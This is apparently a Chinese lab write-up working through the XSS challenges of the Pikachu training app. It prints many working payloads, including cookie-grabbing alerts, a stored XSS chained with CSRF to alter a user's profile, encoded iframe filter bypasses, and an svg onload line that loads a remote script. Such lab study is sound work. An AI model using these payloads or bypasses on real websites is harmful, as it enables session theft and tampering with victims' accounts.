pikachu之XSS

形成 XSS 漏洞的主要原因是程序对输入和输出没有做合适的处理
因此在 XSS 漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致 XSS 攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

XSS 漏洞分三类:

  1. 反射型 xss
  2. 存储型 xss
  3. DOM 型 xss

反射型 XSS

get


通过 get 发送请求


查看前端源码



把后面都注释掉了,但是输入框有长度限制

直接在请求里面修改

1
<script>alert (/xss/)</script>



前端代码

POST

这里有个登录,登录进去,直接可以插入 xss

1
<script>alert(/xss/)</script>

但是登录了就不要只想着弹个 xss,尝试弹个 cookie

1
<script>alert(document.cookie)</script>


成功获取 cookie

存储型 XSS

常见评论,留言板

这里就是一个留言板


插入 xss 之后,每次访问这个界面就会弹 xss,就好像这段代码被插入进去了一样

试试升级危害
我们再次登录 kobe 的 csrf 账号

然后我们往留言板插入下面的 xss

1
2
3
4
5
6
7
8
<html>
<head>
<title>XSS&CSRF</title>
</head>
<body>
<script src="http://172.17.10.4:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=999999&add=%E6%B4%9B%E6%9D%89%E7%9F%B6&email=manbaout&submit=submit"></script>
</body>
</html>

然后模仿用户 kobe 来留言板位置,此时 xss 执行,kobe 的信息被改成 999999

如果这里是修改密码,危害可想而知

DOM 型 xss

JavaScript HTML DOM
通过 HTML DOM,JavaScript 能够访问和改变 HTML 文档的所有元素。

参考
w3school

普通

当你输入

1
javascript:alert(/xss/)


当你点击 what do you see? 的时候就会调用一次 alert (/xss/)


源码中写了一个 domxss () 的方法,点击 click me! 的时候就会调用这个方法

这里方法

1
2
3
4
5
function domxss(){ 
var str = document.getElementById("text").value; document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行

调用方法不输入时拼接

1
<a href="">what do you see?</a>

输入 1 的时候

1
<a href="1">what do you see?</a>

当 payload 为

1
'><img src="#" onmouseover="alert('xss')">


会把后面的内容注释

在方法中是这样的

1
"<a href='"+"'><img src="#" onmouseover="alert('xss')">"+"'>what do you see?</a>"

把拼接用的字符去掉就是

1
"<a href=''><img src="#" onmouseover="alert('xss')">'>what do you see?</a>"

事件 onmouseover 的作用就是当你的鼠标移到元素上面触发如下

也可以用其他事件,比如 onerror (发生报错就触发)之类的。

靶场作者还留下了另外的 payload,也可以触发

1
' onclick="alert('xss')">

xss-x

输入个 1

发现和前面差不多,而且过滤了和没有过滤也没有差别

1
2
3
'><img src="#" onmouseover="alert('xss')">
'><img src="#" onerror="alert('xss')">
' onclick="alert('xss')">

进阶操作

盲打

盲打就是看不到源码
蒙着眼睛打就行
反射型 xss

过滤

过滤了一些东西,
测试黑名单:

1.
payload:

1
<script>alert(/xss/)</script>

回显:

看起来是过滤了 <script<\script
2.
payload:

1
<iframe src=javascript:alert(1)>

回显:

过滤了 <iframe>javascript:

这个简单,直接编码即可绕过

1
2
3
<iframe src=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;></iframe>
# 通过对指定部位进行编码可以知道过滤了什么
<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)></iframe>

可以用其他的方式去构造 payload,经典

1
2
"><svg/onload=alert(1)//
<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'//

好用的 XSS payload:
XSS OWASP
XSS bp
Tiny-XSS-payload
常用标签
XSS bypass list

参考:
绕过XSS过滤姿势总结

htmlspecialchars

特殊的 html 字符?

specialchars() 是一个特殊函数,他会过滤单引号双引号尖括号,但是默认是不过滤单引号的,需要调整某个参数才会过滤


会将写入的内容插入到 a 标签的 href 处


直接 javascript:alert(1) 即可弹窗

href 输出


和刚才很像,不过这里是没有 specialchars() 函数

刚才的 payload 即可

1
2
javascript:alert(1)
q' onclick='alert(1)'


成功弹窗

js 输出

1
'</script><script>alert('xss')</script> # 先把前面的闭合再插入自己的语句